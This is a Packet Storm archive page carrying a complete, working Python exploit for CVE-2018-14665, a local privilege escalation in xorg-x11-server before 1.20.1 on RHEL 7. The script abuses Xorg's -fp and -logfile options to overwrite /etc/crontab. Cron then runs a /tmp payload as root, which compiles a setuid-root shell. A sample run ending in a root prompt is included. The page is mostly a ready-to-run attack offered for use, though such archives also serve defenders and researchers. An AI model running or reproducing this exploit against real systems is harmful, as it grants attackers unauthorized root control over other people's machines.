what you don't know can hurt you

xorg-x11-server Local Privilege Escalation

xorg-x11-server Local Privilege Escalation
Posted Nov 13, 2018
Authored by bolonobolo

xorg-x11-server versions prior to 1.20.1 local privilege escalation exploit.

tags | exploit, local
advisories | CVE-2018-14665
MD5 | ce4740c7124e0487c7d13eb8e1491e28

xorg-x11-server Local Privilege Escalation

Change Mirror Download
# Exploit Title: xorg-x11-server < 1.20.1 - Local Privilege Escalation (RHEL 7)
# Date: 2018-11-07
# Exploit Author: @bolonobolo
# Vendor Homepage: https://www.x.org/
# Version: 1.19.5
# Tested on: RHEL 7.3 && 7.5
# CVE : CVE-2018-14665
# Explanation
# The only condition that have to be met for this PE to work via SSH, is that the legitimate non-root user
# has to be logged in trought console at the moment the PE script launched.
# In fact during the logged in session of the legitimate non-root user,
# a file with the name of the non-root user will be created in the /var/run/console folder.
# With that file present, the same non-root user can launch a Xorg command via SSH.
#
# Usage: $ python poc.py
# $ python poc.py
# [*] Waiting for bolo to connect to the console
# [*] OK --> bolo console opened
# [*] Building root shell wait 2 minutes
# [*] crontab overwritten
#
# ... cut Xorg output ...
#
# [*] Xorg killed
# (II) Server terminated successfully (0). Closing log file.
# [*] Don't forget to cleanup /etc/crontab and /tmp dir
# sh-4.2# id && whoami
# uid=0(root) gid=0(root) gruppi=0(root),1001(bolo)
# root
# sh-4.2#


#!/usr/bin/python
import os
import getpass
import subprocess

userList = []
path="/var/run/console/"

def getWhoami():
return getpass.getuser()

def getConsole(path):
p = subprocess.Popen(["ls", path], stdout=subprocess.PIPE)
(console, err) = p.communicate()
consoleList = str.splitlines(console)
return consoleList

def payload():
f = open("/tmp/payload", "w")
payload = ("cp /bin/sh /usr/local/bin/shell\n"
"echo \"#include <stdio.h> \" > /tmp/shell.c\n"
"echo \"#include <stdlib.h>\" >> /tmp/shell.c\n"
"echo \"#include <sys/types.h>\" >> /tmp/shell.c\n"
"echo \"#include <unistd.h>\" >> /tmp/shell.c\n"
"echo 'int main(){setuid(0);setgid(0);system(\"/bin/sh\");}' >> /tmp/shell.c\n"
"gcc /tmp/shell.c -o /usr/local/bin/shell\n"
"chmod 4777 /usr/local/bin/shell\n")
f.write(payload)

def executePayload():
os.system("chmod +x /tmp/payload")
os.system("cd /etc; Xorg -fp \"* * * * * root /tmp/payload\" -logfile crontab :1 &")
print "[*] crontab overwritten"
os.system("sleep 5")
os.system("pkill Xorg")
print "[*] Xorg killed"
os.system("sleep 120")
return

def main():
whoami = getWhoami()
print "[*] Waiting for " + whoami + " to connect to the console"
i = 0
while (i == 0):
consoleList = getConsole(path)
for user in consoleList:
if user == whoami :
print "[*] OK --> " + user + " console opened"
i = 1
print "[*] Building root shell wait 2 minutes"
payload()
executePayload()
print "[*] Don't forget to cleanup /etc/crontab and /tmp dir"
os.system("/usr/local/bin/shell")

if __name__ == '__main__':
main()


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    8 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close